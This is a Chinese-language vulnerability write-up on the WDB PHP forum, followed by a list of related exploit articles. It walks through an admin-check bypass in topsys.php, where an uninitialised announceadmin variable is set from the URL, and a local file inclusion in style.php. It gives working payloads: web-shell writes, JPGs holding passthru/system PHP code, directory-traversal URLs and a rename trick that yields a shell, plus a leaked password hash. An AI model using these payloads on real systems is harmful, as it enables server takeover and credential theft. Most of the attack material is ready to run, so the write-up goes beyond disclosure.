WDB论坛存在多个严重漏洞

===============================================

仅以此文送给我的好友Bytes,

并祝他和他的女友璐子能够真的相爱一生,白头偕老

===============================================

前言:

我在和很多网管谈到WEB安全的时候,很多人告诉我WEB安全就是sql injection,“不就是在一个变量后面嵌入你的sql语句么,这个我也会”,这是我听到最多的人们对WEB安全的认识,WEB安全难道仅仅是sql injection,当然不是!sql injection只不过是冰山一角罢了。认为注入就是WEB安全全部的人们阿,睁大你的眼睛,看我用实际行动给你一击响亮的耳光吧!

描述:

最近在读WDB论坛,这个论坛很好看,风格华美而且和LB5有一点相像,但是安全性实在是不敢恭维,如果我说平均5个文件就有一个漏洞,那是一点都不夸张,虽然作者好像已经有意的作了一些防范,但是过滤不是非常严格。导致恶意用户或者非典型恶意用户可以写入自己的代码,然后可以执行自己语句进而控制整个系统。

一、topsys.php全局变量未初始化导致控制整个论坛

1、漏洞分析

topsys.php是管理员用来集中管理论坛总制顶贴子的文件,这个文件可用来对论坛帖子实现总制顶,清空,删除等操作, 就是这样的小小的文件,由于编程人员对其中的个别变量没有初始化,却带来了可以控制整个论坛,甚至整个控制系统的危害。

让我们先看看,要如何绕开限制先,部分代码如下:

=========codz begin===========

13 if ($login_status==1 && ($username==$admin_name ||($manager && in_array($username,$manager)))) {$announceadmin=1;}

14 //----让增加的管理员有权管理!----------

15 if (file_exists("datafile/admin_user.php")) {

16 include("datafile/admin_user.php");

17 if ($admin_user && in_array($username,$admin_user)) {

18 $announceadmin=1;

19 }

20 }

21 //----让增加的管理员有权管理!----------

22 $musia=0;

23 if ($announceadmin==1) $musia=1;

=========codz endz============

我们从第13行的检查可以看出来,他这段代码就是为了判定是不是有管理员权限,如果有的话则设定$announceadmin变量为1,好,后面管理员没忘记初始化一下$musia,然后检查$announceadmin变量是不是为1,如果为1,再设定$musia变量为真。这里我们先不管,往后面看。

再来看一段代码:

=========codz begin===========

150 if ($job=="write") {

151 if ($announceadmin!=1) {require("header.php");

152 echo "对不起,未登陆或者身份不正确,请 <a href='javascript:history.back(1);'>返回检查</a>";

153 require("footer.php");

154 exit;}

//后面进行制顶操作......

=========codz endz============

程序是如何验证管理员身份呢?编程人员就凭借了一个值来进行判断。他这里检查announceadmin变量是否为1,如果不为1,则报错说身份不正确(不是管理员)。好了,回过头去看一下,刚才那看似严密的验证,你想到什么了没有?大家可能都发现了,那个用来检查是否有管理员权限的值却并没有做初始化,那么如果我们直接构造语句提交$announceadmin=1。我们就可以用管理员权限来发布、删除制顶的帖子。我们来试试看,提交

http://bbs.target.com/topsys.php?announceadmin=1

我们已经能看出来和刚才有什么不一样了,多了管理员的管理模块,好我们找个贴子制顶,提交URL如下:

http://bbs.target.com/topsys.php?announcea...tent=hello,this is Jambalaya &title=wdbread.php?forumid=1&filename=f_27,我们这里把第一个论坛的第27个贴子,标题为"hello,this is Jambalaya"的贴子制顶了。回车看看,哈哈,我们成功了。这里我们用相同的方法可以去删除,清空总制顶的贴子,这里再去分析就有点浪费时间了,大家自己看吧。高兴一阵子后,想起来了,我们怎么能控制整个网站呢?HOHO~~真正的攻击在这里呢......跟我来~~~~~

上面这些没什么,无非就是能以管理员身份总制顶、清空和删除帖子,其他的什么也做不了了,但我们却成功的绕过了对管理员权限的验证,绕过之后的我们是与众不同的,不信?呵呵,wait and see...

我们来看下面的代码:

=========codz begin===========

165 if (file_exists("datafile/topsys.php")) $msg=file("datafile/topsys.php");

166 else $msg[0]="";

167

168 $content=stripslashes(safe_convert($content));

169 $title=stripslashes(safe_convert($title));

170 $title="".$title;

171 if($filename) $title=$title."&filename=".$filename;//for wdbread.php

172 $new="$user|$title|$timestamp|$content|$member\n";

173

174 $oldcount=count($msg);

175 if ($oldcount>$msgg_max) {

176 for ($i=$msgg_max; $i<$oldcount; $i++) unset($msg);

177 }

178

179 $old=implode("",$msg);

180 writetofile("datafile/topsys.php",$new.$old);

=========codz endz============

这些是我们得到管理员权限后可以看到的东西,让我们看看,他首先检查是不是存在datafile/topsys.php,这个文件是用来纪录那些制顶的贴子的。好了,看看他都写入了什么?writetofile("datafile/topsys.php",$new.$old)从这句可以看出,他将$new.$old写入topsys.php中,而$new="$user|$title|$timestamp|$content|$member\n",其中$user和$timestamp是固定的,$title和$content似乎可以用,只是那个safe_convert函数看着有点吓人。但对安全的人来说,细心、耐力是不可以缺少的,否则所谓的好运是不会主动找到你的。为了不放过一个细节,我们还是看一下这个函数,看看是不是存在过滤不严。于是去global.php翻出这个函数:

=========codz begin===========

837 function safe_convert($d) {

838 $d = str_replace("\t","",$d);

839 $d = str_replace("<","<",$d);

840 $d = str_replace(">",">",$d);

841 $d = str_replace("\r","<br>",$d);

842 $d = str_replace("\n","",$d);

843 $d = str_replace("|","│",$d);

844 $d = str_replace(" ","  ",$d);

845 return $d;

846 }

=========codz endz============

看完之后,一身冷汗,过滤得很严嘛,几个重要的字符基本上都被他消灭了。看来想从这里找到过滤不言的地方是不大可能了。回去看其他几个变量,剩下的就一个$member了,上下文扫一眼。嗯,这个我们可以控制。我们就用这个值向文件里写入我们自己的代码。

喂!等一下!等一下!其实看到这里就可以开始写攻击方法了,但是我们打住一下。仔细看一下我们的代码,和我的分析过程,其实这里有我们忽略的一点,你注意到了么?没有?重新来看一遍。

假设这里$member变量也被过滤了,我们还有什么方法?仔细看看,其实那个$title变量并没有真正的被过滤,这里编程人员犯了一个严重的逻辑错误。他在一开始就对$title进行过滤是没错的,但是他却在过滤之后重新给$title赋值,这就不对了,来看看这句:"if($filename) $title=$title."&filename=".$filename"。他在对title严格的过滤后,又给title这个变量重新赋入新值,而这个这个新值并没有经过任何过滤。那么我们用这个新值完全可以写入自己的代码。就好像给一个防御者一把坚实的盾牌之后,在盾牌中间挖了一个大洞,然后对弓箭手说:"好了,你们可以放箭了"。

从这里可以看出任何一个细节的不注意,都会让自己的防御土崩瓦解。

2、攻击方法

该分析都分析完了,"君子动手不动口",来,来,上手了~~~~

我们既然可以向里面写入代码,那我们写些什么呢?0.001秒的思考之后,我决定写入一个shell进去。我们要一次性写入所有东西。先注册一个用户:

username:Jambalaya

password: itaq.org

然后发个帖子,标题是"我test一下哈",内容是"我是Jambalaya,我来自www.itaq.org,大家有工夫过来玩啊"。哈哈,提交下面的URL:

http://bbs.target.com/topsys.php?announcea...#036;jam);?>

然后直接访问http://bbs.target.com/topsys.php?jam=dir,看看,怎么样?一个shell做成了~~~~

dir一下看看里面的目录,看到user_jkljkl是保存用户的目录,提交URL:

' target='_blank'>http://bbs.target.com/user_jkljkl/用户名,?....没兔苈肓?P

不过这样太容易被发现了,你可以先把对方的总制顶帖子卸下来,然后再制顶上去,顺便写一个shell到里面

那个title变量没过滤全的应该怎么做?大家自己试试看,毕竟,看懂和理解是两码事,理解和会应用又是两码事,在IT安全论坛我们有一句口头禅,是好友SystEm32带来的,我很喜欢,这里送给大家:"如果你没有实践过,那么对不起,你没有资格发言!"

二、Style.php文件未作任何过滤

下面我们来看看style.php文件,该文件其中变量并没有经过任何过滤,导致恶意攻击者可以执行自己的恶意代码,进而可以控制整个网站。

测试环境:iis5.0+windows2000

1、具体漏洞

描述:

我们先来看一下style.php的相关代码:

=========codz begin===========

<?

if (empty($skin)) $skin=水晶经典;

if (file_exists("datafile/style/".$skin)) include("datafile/style/".$skin);

else include("datafile/style/水晶经典");

=========codz ends=============

代码本身的原意是对论坛的外观风格进行设置,如果skin这个变量不为空,那么设置skin。如果datafile/style/下的skin这个文件存在,则include这个文件。我们注意到代码中skin这个变量并没有作任何检查,也就是说我们可以做任何操作,或者用"../","./"来跳转到任何目录或者include我们指定的任何文件。

那么我们现在怎么做呢?我们知道include可以用来解释执行php文件代码,即使它是以图片形式保存的,那么后面的就简单多了,首先要上传一个图片,WDB版本不同上传的方法也不同,有的汉化版本可以上传头像,有的只能上传附件,我用的这个水晶论坛只可以上传附件,而且还要发一定量的贴子才可以。在疯狂发贴后,发现终于可以上传附件了。上传一个附件,看到论坛将其保存为upload/forum1_f_23_978374564.jpg,现在可能有的朋友想在jpg中写入一个PHP木马,然后用include来解释执行.呵呵,这是行不通地.include的确可以解释jpg中的代码,但是如果你他不能去在问号后面接受GET传送来的变量.

我们可以直接作一个探针来寻找保存user的目录,直接在jpg文件中写入<?passthru("dir");?>,在url中直接请求http://bbs.target.com/myhome/wdb/datafile/style.php?skin=../../../upload/forum1_f_23_978374564.jpg,然后靠返回来的值,得到绝对路径,如我得到的绝对路径是F:\myhome\wdb\datafile,顺便还得到了里面的所有的文件,再上传一个图片,里面写到<?passthru("dir f:\\myhome\\wdb")?>,再次在URL中请求http://bbs.target.com/myhome/wdb/datafile/style.php?skin=../../../upload/forum1_f_23_978374564.jpg,返回来的就是f:\myhome\wdb中的目录和文件,从中找到user目录,我找到的是user_jkljkl,在URL中提交请求http://bbs.target.com/myhome/wdb/user_jkljkl/Jambalaya,我们直接就能看见Jambalaya的密码了,得到如下:

Jambalaya|EED8CDC400DFD4EC85DFF70A170066B7||jam@itaq.org||1083116258||||||1084002908|2||none|998.4|

1084150077|1084150372||||||1068|jam 2004-05-08 15:55|wdbread.php?forumid=1&filename=f_13|||1|||192.168.0.13

Jambalaya的密码就是EED8CDC400DFD4EC85DFF70A170066B7

下面我来弄一个shell,在另一个文件中写到<?system($a);?>,保存成jpg文件上传,路径是upload/forum1_f_24_978374654.jpg,在上传一个文件内容是<?rename "f:\\myhome\\wdb\\upload\\forum1_f_24_978374654.jpg","jam.php"?>的图片,保存成upload/forum1_f_25_978374773.jpg,在URL中直接调用http://192.168.0.13/myhome/wdb/datafile/style.php?skin=../../../upload/forum1_f_25_978374773.jpg,这样的目的就是让它执行我们的指令直接更改后缀名为php,这样成功调用我们的语句得到了一个shell.

三、收尾:

到这里文章就写完了,准备做收尾工作,还是那句老话:不希望大家去攻击别人。

这里必须要强调的是论坛漏洞的存在,危害的不仅仅是论坛本身,而是整个系统安全!

笔者较早前就发现了这几个漏洞,刚开始只是在itaq.org的内部版和大家交流,并没有打算公布。前不久,遇到了一个叫lovehacker的前辈,他告诉我只有不断的交流才能不断的提高,那些敝帚自珍,研究东西后不舍得与别人共享的人是无法提高的。他把自己发现服务器漏洞的经验无私的拿出来共享。他的共享精神让我无地自容,这里感谢lovehacker的教诲。

行文仓促,技术有限,如果文中有什么错误,还希望高手来www.itaq.org当面指正,不胜感激。

(0)

相关推荐

  • WDB论坛存在多个严重漏洞

    =============================================== 仅以此文送给我的好友Bytes, 并祝他和他的女友璐子能够真的相爱一生,白头偕老 =============================================== 前言: 我在和很多网管谈到WEB安全的时候,很多人告诉我WEB安全就是sql injection,"不就是在一个变量后面嵌入你的sql语句么,这个我也会",这是我听到最多的人们对WEB安全的认识,WEB安全难道仅仅是

  • Discuz!论坛install.php书写错误漏洞

    书写错误,导致恶意用户构造语句可以写入webshell,进而控制整个服务器. 前几个晚上,把前台文件,只要是数据库调用中的变量都看了一遍.看看是不是有过滤不严的地方,看完后觉得,过滤不严的地方的确不少,但是都已经被单引号保护起来了.在php中,如果magic_qoute_gpc=on(默认的)编译器会自动把单引号等特殊字符转义,而这个时候我们想改变程序的执行流程是非常困难的.这样大大的增加了入侵的难度,在某种程度上,也的确保证了其安全.这也是为什么朋友提出一定要在magic_qoute_gpc为

  • 一句话木马的原理及利用分析(asp,aspx,php,jsp)

    一句话木马的适用环境: 1.服务器的来宾账户有写入权限 2.已知数据库地址且数据库格式为asa或asp 3.在数据库格式不为asp或asa的情况下,如果能将一句话插入到asp文件中也可 一句话木马的工作原理: "一句话木马"服务端(本地的html提交文件) 就是我们要用来插入到asp文件中的asp语句,(不仅仅是以asp为后缀的数据库文件),该语句将回为触发,接收入侵者通过客户端提交的数据,执行并完成相应的操作,服务端的代码内容为 <%execute request("

  • 114论坛2005正式版漏洞

    关键字: "版权所有 设计制作:网站114" 漏洞描述: 网站114论坛 2005版正式 /edituserdb.asp 对提交数据和cooikes缺乏验证 导致任意用户可以修改管理员密码 默认后台admin/index.asp 今天在旁注一个机房的机器时用了一下. http://www.***.net.cn/xzl/BBS/index.asp **医科大学网站上的一个论坛. 注册了一个用户33221. 然后跳转到 /edituserdb.asp,单击"修改注册"开

  • 动网dvbbs7.1论坛权限提升漏洞及防范(图)

    在6月份的黑防上看到<动网7.1漏洞惊现江湖>一文,说是admin_postings.asp文件 存在注入漏洞,但利用的前提是拥有超级斑竹或前台管理员权限.我想起以前发现的动网7.x版本存在一个前台权限提升漏洞, 正好可以结合起来利用.这个前台权限提升漏洞对7.x的Access和 Sql版都有效.下面我们就以7.0 sp2 sql版,讲解这个漏洞的利用. 漏洞分析 我们知道动网是通过GroupID来判断当前用户所在的组的,然后再通过组的信息判断用户的权限.它是如何取得这个GroupID的呢?让

  • 国内php原创论坛

    国内php原创论坛 ofstar ctb wdb discuz fastboard之比较-----个人总结由于旅行的fastboard加密了就不做比较了--当然是款不错的程序下面的比较单从技术角度出发,不考虑个人专好,毕竟个人专好,因人而异! 以下主要比较:速度,稳定性,安全,负载能力,后台,前台功能ofstar与ctb之比较1,在速度上ofstar远远快于ctb2,在稳定性上ctb还是采用传统的稳定性概念,某种意义上是不稳定的!3,在安全上ctb没有过滤恶意代码等所造成的安全问题!4,在负载能

  • phpwind管理权限泄露漏洞利用程序发布

    漏洞发布:http://www.80sec.com/  漏洞作者:jianxin@80sec.com  漏洞厂商: http://www.phpwind.com/ 本漏洞影响phpwind所有版本  漏洞危害:高  漏洞说明:phpwind是国内使用非常广泛的一款程序,由于在程序设计上存在错误,导致任何人可以取得前台管理员及斑主权限,做删除帖子等任意操作 利用方式:http://www.80sec.com有提供exploit  漏洞分析:由于phpwind论坛在设计上对数据库存储机制不了解,导致

  • PHP 小心urldecode引发的SQL注入漏洞

    Ihipop 学校的 Discuz X1.5 论坛被黑,在那里吵了一个下午.Google 一下"Discuz! X1-1.5 notify_credit.php Blind SQL injection exploit",你就知道. Discuz 是国内很流行的论坛系统,被黑的网站应该会很多吧.不过我对入侵别人的网站不感兴趣,同时也鄙视那些代码都不会写只会使用别人放出的工具攻击的所谓的"黑客". 粗略看了一下代码,这个 SQL 注入漏洞是 urldecode 函数造成

  • 实例分析ASP上传漏洞入侵实战及扩展

    [上传漏洞欺骗技术] 网络上许多程序都有着上传漏洞,比如任我飞扬整站程序.动感购物商城.秋叶商城.惠信新闻系统等.本文主要讲解上传漏洞的入侵实战以及一些扩展利用.首先我们要获得客户端和服务器之间传递的数据,事先准备好一个ASP木马准备上传,当然不可能成功,我们要的就是这中间我们向服务器提交的数据.一般用WsockExpert来获得数据,由于数据太多只能把关键部分发出来如下: POST /bbs/upfile.asp HTTP/1.1 --. 省略了N多没用信息 Content-Length: 1

  • asp 之上传漏洞终结篇

    收藏关于上传漏洞的文章,最近一直遇到这个麻烦, 作者:szjwwwww   出自:黑鹰基地论坛 http://www.3800cc.com 一.写在前面 ***这个上传漏洞利用的原理只是针对form格式上传的asp和php脚本*** NC(Netcat) 用于提交 数据包 DOS界面下运行:    NC -vv www.***.com 80<1.txt    -vv: 回显    80:  www端口    1.txt: 就是你要发送的数据包   (更多使用方法请查看本区的帖子)  WSE(WS

随机推荐